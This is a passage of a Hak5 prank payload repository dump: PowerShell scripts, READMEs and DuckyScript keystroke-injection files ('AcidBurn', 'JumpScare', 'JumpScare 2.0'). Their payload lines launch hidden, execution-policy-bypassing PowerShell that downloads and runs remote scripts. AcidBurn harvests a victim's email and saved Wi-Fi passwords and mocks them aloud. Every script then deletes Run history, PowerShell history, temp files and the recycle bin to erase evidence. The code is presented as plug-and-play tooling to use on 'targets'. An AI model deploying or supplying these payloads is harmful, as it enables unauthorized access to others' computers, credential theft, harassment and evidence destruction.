return $avgPASS\n\n    }else { return $oldPASS\n\n    }\n}\n\n# echo statement used to track progress while debugging\necho \"Pass last set Done\"\n\n###########################################################################################################\n\n<#\n\n.NOTES \n\tGet Email\n\tThis function will custom tailor a response based on what type of email the target has\n#>\n\nfunction Get-email {\n    \n    try {\n\n    $email = GPRESULT -Z /USER $Env:username | Select-String -Pattern \"([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})\" -AllMatches;$email = (\"$email\").Trim()\n    \n    $emailpos = $email.IndexOf(\"@\")\n    \n    $domain = $email.Substring($emailpos+1) #.TrimEnd(\".com\")\n\n    }\n\n# If no email is detected function will return backup message for sapi speak\n\n    # Write Error is just for troubleshooting\n    catch {Write-Error \"An email was not found\" \n    return \"you're lucky you do not have your email connected to your account, I would have really had some fun with you then lol\"\n    -ErrorAction SilentlyContinue\n    }\n        \n# ENTER YOUR CUSTOM RESPONSES HERE\n#----------------------------------------------------------------------------------------------------\n    $gmailResponse = \"At least you use G Mail.. we should be friends. If you are down just email me back, ill message you at $email. That is your email right?\"\n    $yahooResponse = \"a yahoo account seriously? you are either in your 50's or just got done doing some time, a lot of it.. $email .. this is sad\"\n    $hotmailResponse = \"really?. you have a hotmail account? $email .. I am sending this to the f b I they need to check your hard drive\"\n    $otherEmailResponse = \"I dead ass do not even know what this is.. $email .. hope you did not think it was safe\"\n#----------------------------------------------------------------------------------------------------\n\n    if($email -like '*gmail*') { return $gmailResponse\n\n    }elseif($email -like '*yahoo*')  { return $yahooResponse\n\n    }elseif($email -like '*hotmail*')  { return $hotmailResponse\n    \n    }else { return $otherEmailResponse}\n\n\n}\n\n# echo statement used to track progress while debugging\necho \"Email Done\"\n\n###########################################################################################################\n\n<#\n\n.NOTES \n\tMessages\n\tThis function will run all the previous functions and assign their outputs to variables\n#>\n\n$intro = \"$fullName , it has been a long time my friend\"\n\n$RAMwarn = Get-RAM  \n\n$PUB_IPwarn = Get-PubIP  \n\n$PASSwarn = Get-Pass\n\n$LAST_PASSwarn =  Get-Days_Set\n\n$EMAILwarn = Get-email \n\n$OUTRO =  \"My crime is that of curiosity.... \tand yea curiosity killed the cat....     but satisfaction brought him back.... later $fullName\"\n\n# echo statement used to track progress while debugging\necho \"Speak Variables set\"\n\n###########################################################################################################\n\n# This turns the volume up to max level--------------------------------------------------------------------\n\n#$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)}\n\n# echo statement used to track progress while debugging\necho \"Volume to max level\"\n\n###########################################################################################################\n\n<#\n\n.NOTES \n\tThese two snippets are meant to be used as indicators to let you know the script is set up and ready\n\tThis will display a pop up window saying \"hello $fullname\"\n\tOr this makes the CapsLock indicator light blink however many times you set it to\n\tif you do not want the ready notice to pop up or the CapsLock light to blink comment them out below\n#>\n\n# a popup will be displayed before freezing the script while waiting for the cursor to move to continue the script\n# else capslock light will blink as an indicator\n$popmessage = \"Hello $fullName\"\n\n\n$readyNotice = New-Object -ComObject Wscript.Shell;$readyNotice.Popup($popmessage)\n\n\n# caps lock indicator light\n$blinks = 3;$o=New-Object -ComObject WScript.Shell;for ($num = 1 ; $num -le $blinks*2; $num++){$o.SendKeys(\"{CAPSLOCK}\");Start-Sleep -Milliseconds 250}\n\n\n\n#-----------------------------------------------------------------------------------------------------------\n\n<#\n\n.NOTES \n\tThen the script will be paused until the mouse is moved \n\tscript will check mouse position every indicated number of seconds\n\tThis while loop will constantly check if the mouse has been moved \n\t\"CAPSLOCK\" will be continously pressed to prevent screen from turning off\n\tit will then sleep for the indicated number of seconds and check again\n\twhen mouse is moved it will break out of the loop and continue theipt\n#>\n\n\nAdd-Type -AssemblyName System.Windows.Forms\n$originalPOS = [System.Windows.Forms.Cursor]::Position.X\n\n    while (1) {\n        $pauseTime = 3\n        if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){\n            break\n        }\n        else {\n            $o.SendKeys(\"{CAPSLOCK}\");Start-Sleep -Seconds $pauseTime\n        }\n    }\necho \"it worked\"\n\n###########################################################################################################\n\n# this is where your message is spoken line by line\n\n$s=New-Object -ComObject SAPI.SpVoice\n\n# This sets how fast Sapi Speaks\n\n$s.Rate = -1\n\n$s.Speak($intro)\n\n$s.Speak($RAMwarn)\n\n$s.Speak($PUB_IPwarn)\n\n$s.Speak($PASSwarn)\n\nWallPaper-Troll\n\n$s.Speak($LAST_PASSwarn)\n\n$s.Speak($EMAILwarn)\n\n$s.Speak($OUTRO)\n\n###########################################################################################################\n\n# this snippet will leave a message on your targets desktop \n\n$message = \"`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back\"\n\nAdd-Content $home\\Desktop\\WithLove.txt $message\n###########################################################################################################\n\n<#\n\n.NOTES \n\tThis is to clean up behind you and remove any evidence to prove you were there\n#>\n\n# Delete contents of Temp folder \n\nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\n\n# Delete run box history\n\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\n\n# Delete powershell history\n\nRemove-Item (Get-PSreadlineOption).HistorySavePath\n\n# Deletes contents of recycle bin\n\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\n\n#----------------------------------------------------------------------------------------------------\n\n# This script repeadedly presses the capslock button, this snippet will make sure capslock is turned back off \n\nAdd-Type -AssemblyName System.Windows.Forms\n$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')\n\n#If true, toggle CapsLock key, to ensure that the script doesn't fail\nif ($caps -eq $true){\n\n$key = New-Object -ComObject WScript.Shell\n$key.SendKeys('{CapsLock}')\n}\n"
  },
  {
    "path": "payloads/library/prank/-RD-AcidBurn/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Acid Burn\n\nA script I put together to torment Call Center Scammers but can be used on your friends as well.. or Foes.\n\n## Description\n\nThis program enumerates a target PC to include Operating System, RAM Capacity, Public IP, and Email associated with microsoft account.\nThe SSID and WiFi password of any current or previously connected to networks.\nIt determines the last day they changed thier password and how many days ago.\nOnce the information is gathered the script will pause until a mouse movement is detected\nThen the script uses Sapi speak to roast their set up and lack of security\nIf wifi networks and passwords are detected wallpaper will be changed to image displaying that information\nImage generated will be saved to desktop, steganography is used to put hidden message at bottom of binary output of image generated\n\n## Getting Started\n\n### Dependencies\n\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your Bash Bunny\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n* Enumerate and get Full Name, Amount of RAM, Public IP, Wifi Password Length, Wifi Networks and Passwords, Day Password was last changed, Email\n* Custom responses have been programmed to roast the target based on the information gathered during enumeration phase \n* Wifi Networks and passwords will be generated into an image that will be saved on the desktop\n* Image opened in notepad will reveal a hidden message at the bottom of the binary output\n* Script will freeze until a mouse movement is detected \n* Sapi Speak will be used to speak out loud the custom responses \n* Desktop wallpaper will be changed to the image of the targets Wifi Networks and Passwords\n* Text file will be left on the target desktop with whatever message you choose\n\n![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/RubberDucky/Payloads/RD-AcidBurn/hacked-wallpaper.jpg)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\nArf\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-AcidBurn)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n* [0i41E](https://github.com/0i41E)\n* [PhilSutter](https://github.com/PhilSutter)\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/prank/-RD-AcidBurn/payload.txt",
    "content": "REM     Title: AcidBurn\n\nREM     Author: I am Jakoby\n\nREM     Description: This payload is meant to torment your target to the fullest extent. Mission to recon then roast. See README.md for more details\n\nREM     Target: Windows 10, 11\n\nREM     --------------------------------------------------------------------------------------\nREM     THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.\nREM     --------------------------------------------------------------------------------------\n\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://raw.githubusercontent.com/I-Am-Jakoby/hak5-submissions/main/OMG/Payloads/OMG-AcidBurn/AcidBurn.ps1?dl=1; invoke-expression $pl\nENTER\n"
  },
  {
    "path": "payloads/library/prank/-RD-JumpScare/JumpScare.ps1",
    "content": "############################################################################################################################################################                      \r\n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \r\n# Title        : JumpScare         | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \r\n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \r\n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\r\n# Category     : Prank             | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\r\n# Target       : Windows 10,11     |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \r\n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \r\n#                                  |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \r\n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \r\n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \r\n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\r\n#                                                                                                            #         /       \\   /     ~ \\               #\r\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \r\n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \r\n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \r\n#  youtube.com/c/IamJakoby                                                                                   #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  |#\r\n############################################################################################################################################################\r\n\r\n<#\r\n.NOTES\r\n\tThis script can be run as is with the provided execution file\r\n.DESCRIPTION \r\n\tThis script will download a scary image and a scream sound effect hosted with this payload and host volume will be raised to max level\r\n\tUpon running this script it will immediately pause after the downloads until a mouse movement is detected \r\n\tThe capslock button will be pressed every 3 seconds to prevent sleep, and act as an indicator the payload is ready \r\n\tAfter a mouse movement is detected their wallpaper will change to the scary image provided and the scream sound effect will play\r\n#>\r\n\r\n############################################################################################################################################################\r\n\r\n# Download Image; replace link to $image to add your own image\r\n\r\n$image =  \"https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/OMG/Payloads/OMG-JumpScare/jumpscare.png\"\r\n\r\n$i = -join($image,\"?dl=1\")\r\niwr $i -O $env:TMP\\i.png\r\n\r\niwr https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/OMG/Payloads/OMG-JumpScare/jumpscare.png?dl=1 -O $env:TMP\\i.png\r\n\r\n# Download WAV file; replace link to $wav to add your own sound\r\n\r\n$wav = \"https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-JumpScare/female_scream.wav?raw=true\"\r\n\r\n$w = -join($wav,\"?dl=1\")\r\niwr $w -O $env:TMP\\s.wav\r\n\r\n\r\n\r\n#----------------------------------------------------------------------------------------------------\r\n\r\n<#\r\n\r\n.NOTES \r\n\tThis will take the image you downloaded and set it as the targets wall paper\r\n#>\r\n\r\nFunction Set-WallPaper {\r\n \r\n<#\r\n \r\n    .SYNOPSIS\r\n    Applies a specified wallpaper to the current user's desktop\r\n    \r\n    .PARAMETER Image\r\n    Provide the exact path to the image\r\n \r\n    .PARAMETER Style\r\n    Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span)\r\n  \r\n    .EXAMPLE\r\n    Set-WallPaper -Image \"C:\\Wallpaper\\Default.jpg\"\r\n    Set-WallPaper -Image \"C:\\Wallpaper\\Background.jpg\" -Style Fit\r\n  \r\n#>\r\n\r\n \r\nparam (\r\n    [parameter(Mandatory=$True)]\r\n    # Provide path to image\r\n    [string]$Image,\r\n    # Provide wallpaper style that you would like applied\r\n    [parameter(Mandatory=$False)]\r\n    [ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]\r\n    [string]$Style\r\n)\r\n \r\n$WallpaperStyle = Switch ($Style) {\r\n  \r\n    \"Fill\" {\"10\"}\r\n    \"Fit\" {\"6\"}\r\n    \"Stretch\" {\"2\"}\r\n    \"Tile\" {\"0\"}\r\n    \"Center\" {\"0\"}\r\n    \"Span\" {\"22\"}\r\n  \r\n}\r\n \r\nIf($Style -eq \"Tile\") {\r\n \r\n    New-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force\r\n    New-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name TileWallpaper -PropertyType String -Value 1 -Force\r\n \r\n}\r\nElse {\r\n \r\n    New-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force\r\n    New-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name TileWallpaper -PropertyType String -Value 0 -Force\r\n \r\n}\r\n \r\nAdd-Type -TypeDefinition @\" \r\nusing System; \r\nusing System.Runtime.InteropServices;\r\n  \r\npublic class Params\r\n{ \r\n    [DllImport(\"User32.dll\",CharSet=CharSet.Unicode)] \r\n    public static extern int SystemParametersInfo (Int32 uAction, \r\n                                                   Int32 uParam, \r\n                                                   String lpvParam, \r\n                                                   Int32 fuWinIni);\r\n}\r\n\"@ \r\n  \r\n    $SPI_SETDESKWALLPAPER = 0x0014\r\n    $UpdateIniFile = 0x01\r\n    $SendChangeEvent = 0x02\r\n  \r\n    $fWinIni = $UpdateIniFile -bor $SendChangeEvent\r\n  \r\n    $ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)\r\n}\r\n \r\n#----------------------------------------------------------------------------------------------------\r\n\r\n<#\r\n\r\n.NOTES \r\n\tThis is to pause the script until a mouse movement is detected\r\n#>\r\n\r\nfunction Pause-Script{\r\nAdd-Type -AssemblyName System.Windows.Forms\r\n$originalPOS = [System.Windows.Forms.Cursor]::Position.X\r\n$o=New-Object -ComObject WScript.Shell\r\n\r\n    while (1) {\r\n        $pauseTime = 3\r\n        if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){\r\n            break\r\n        }\r\n        else {\r\n            $o.SendKeys(\"{CAPSLOCK}\");Start-Sleep -Seconds $pauseTime\r\n        }\r\n    }\r\n}\r\n\r\n#----------------------------------------------------------------------------------------------------\r\n<#\r\n\r\n.NOTES \r\n\tThis is to play the WAV file\r\n#>\r\n\r\nfunction Play-WAV{\r\n$PlayWav=New-Object System.Media.SoundPlayer;$PlayWav.SoundLocation=\"$env:TMP\\s.wav\";$PlayWav.playsync()\r\n}\r\n\r\n#----------------------------------------------------------------------------------------------------\r\n\r\n# This turns the volume up to max level\r\n$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)}\r\n\r\n#----------------------------------------------------------------------------------------------------\r\n\r\nPause-Script\r\nSet-WallPaper -Image \"$env:TMP\\i.png\" -Style Center\r\nPlay-WAV\r\n\r\n#----------------------------------------------------------------------------------------------------\r\n\r\n<#\r\n\r\n.NOTES \r\n\tThis is to clean up behind you and remove any evidence to prove you were there\r\n#>\r\n\r\n# Delete contents of Temp folder \r\n\r\nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\r\n\r\n# Delete run box history\r\n\r\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\r\n\r\n# Delete powershell history\r\n\r\nRemove-Item (Get-PSreadlineOption).HistorySavePath\r\n\r\n# Deletes contents of recycle bin\r\n\r\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\r\n\r\n#----------------------------------------------------------------------------------------------------\r\n\r\n# This script repeadedly presses the capslock button, this snippet will make sure capslock is turned back off \r\n\r\nAdd-Type -AssemblyName System.Windows.Forms\r\n$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')\r\n\r\n#If true, toggle CapsLock key, to ensure that the script doesn't fail\r\nif ($caps -eq $true){\r\n\r\n$key = New-Object -ComObject WScript.Shell\r\n$key.SendKeys('{CapsLock}')\r\n}\r\n"
  },
  {
    "path": "payloads/library/prank/-RD-JumpScare/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# JumpScare\n\nA script I put together to torment Call Center Scammers but can be used on your friends as well.. or Foes.\n\n## Description\n\nThis script starts off using Invoke-WebRequests to download both and Image and Sound file \nTheir system volume is then turned up to the max level\nThe script will be paused until a mouse movement is detected \nAt that point there desktop wallpaper will be changed to the scary image provided and the scream sound effect will be played\n\n## Getting Started\n\n### Dependencies\n\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://raw.githubusercontent.com/I-Am-Jakoby/hak5-submissions/main/OMG/Payloads/OMG-JumpScare/JumpScare.ps1?dl=1; invoke-expression $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\nArf\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-JumpScare)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n* [0i41E](https://github.com/0i41E)\n* [PhilSutter](https://github.com/PhilSutter)\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/prank/-RD-JumpScare/payload.txt",
    "content": "REM     Title: JumpScare\r\n\r\nREM     Author: I am Jakoby\r\n\r\nREM     Description: This payload is meant to torment your target to the fullest extent. Mission to JumpScare. See JumpScare.ps1 for more details\r\n\r\nREM     Target: Windows 10, 11\r\n\r\nREM     Start by minimizing all their current windows\r\nGUI m\r\nDELAY 500\r\n\r\nREM     Remember to replace the link with your link for the intended file to download if you are using a custom variation of this payload\r\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\r\n\r\nREM     --------------------------------------------------------------------------------------\r\nREM     THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.\r\nREM     --------------------------------------------------------------------------------------\r\n\r\nGUI r\r\nDELAY 500\r\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://raw.githubusercontent.com/I-Am-Jakoby/hak5-submissions/main/OMG/Payloads/OMG-JumpScare/JumpScare.ps1?dl=1; invoke-expression $pl\r\nENTER\r\n"
  },
  {
    "path": "payloads/library/prank/-RD-JumpScare-2.0/JumpScare2.0.txt",
    "content": "REM     Title: JumpScare 2.0\n\nREM     Author: I am Jakoby\n\nREM     Description: This is a one liner payload that will execute and wait until a mouse movement is detected. Once one is a jumpscare will be played at max volume in full screen \n\nREM     Target: Windows 10, 11\n\nREM     --------------------------------------------------------------------------------------\nREM     THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.\nREM     --------------------------------------------------------------------------------------\n\nDELAY 2000\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $U='https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/Assets/js.zip';$Z=\"$env:TMP\"+'\\js.zip';$D=\"$env:TMP\"+'\\js';iwr -Uri $U -O $Z;Expand-Archive $Z -DestinationPath $D\\ -Force;powershell $D\\js.ps1\nENTER\n"
  },
  {
    "path": "payloads/library/prank/-RD-JumpScare-2.0/ReadMe.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n\n<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to;JumpScare+2.0!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# JumpScare 2.0\n\nA script used to jumpscare your target\n\n## Description\n\nThis script will jumpscare your target \n\nA jumpscare video will be downloaded to their temp directory \n\nWhen a mouse movement is detected that video will be played in the powershell console at max volume and fullscreen\n\n## Getting Started\n\n### Dependencies\n\n* An internet connection\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload\n```\npowershell -w h -NoP -NonI -Exec Bypass $U='https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/Assets/js.zip';$Z=\"$env:TMP\"+'\\js.zip';$D=\"$env:TMP\"+'\\js';iwr -Uri $U -O $Z;Expand-Archive $Z -DestinationPath $D\\ -Force;powershell $D\\js.ps1\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://youtube.com/c/IamJakoby?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/I_Am_Jakoby\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.instagram.com/i_am_jakoby/\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width=\"48\" height=\"48\" alt=\"Golang\" />\n      </a>\n      <br>Instagram\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<p align=\"center\">\n        <img src=\"https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg\" alt=\"Github Stats\" />\n</p>\n"
  },
  {
    "path": "payloads/library/prank/-RD-PS-Draw/Images/images",
    "content": "images will be stored here\n"
  },
  {
    "path": "payloads/library/prank/-RD-PS-Draw/PS-Custom-Draw.ps1",
    "content": "############################################################################################################################################################                      \n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \n# Title        : PS-CustomDraw     | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\n# Category     : Prank             | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\n# Target       : Windows 7,10,11   |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \n#                                  |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\n#                                                                                                            #         /       \\   /     ~ \\               #\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \n#  youtube.com/c/IamJakoby                                                                                   #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  